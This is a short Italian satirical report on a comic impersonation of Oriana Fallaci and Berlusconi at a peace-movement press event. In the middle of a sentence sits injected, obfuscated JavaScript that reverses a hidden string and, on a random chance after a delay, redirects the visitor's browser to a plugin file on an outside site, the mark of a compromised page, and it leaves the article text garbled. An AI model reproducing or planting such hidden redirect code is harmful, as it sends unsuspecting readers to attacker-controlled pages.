Un’altra Oriana è possibile

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Con elmetto e occhiali scuri, protetta dal servizio d’ordine, sbrait (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando invettive fin dalla porta, ha fatto il suo ingresso in sala stampa Oriana Fallaci, tanto assurda da sembrare vera. E infatti qualcuno l’ha anche insultata, mentre i fotografi – estranei al movimento e quindi forse non nonviolenti… – quasi si picchiavano per ritrarla da vicino. “Io sono qui per cercare di capirvi… questi pacifisti… belli, giovani, vi abbracciate… e non conoscete la fatica, di vivere in un attico a Manhattan, e scrivere romanzi senza esserci portata…” La sorpresa è riuscita e la platea entusiasta. “Perché si può star zitti 2 anni, 5 anni, ma dopo 12 anni alla fine si scoppia! Ieri i musulmani, oggi i no global, domani i marziani… che dalle loro astronavi pisciano nei nostri Martini e ci buttano addosso i preservativi usati… con la complicità della sinistra italiana!” È un sollievo poter digerire con una risata l’acidità e gli insulti di una signora ormai delirante… A grande richiesta, in piedi sul tavolo ci arringa Berlusconi, che però non è a New York ma a Palazzo Chigi… digerire è più difficile… ma Sabina ci dà una mano!

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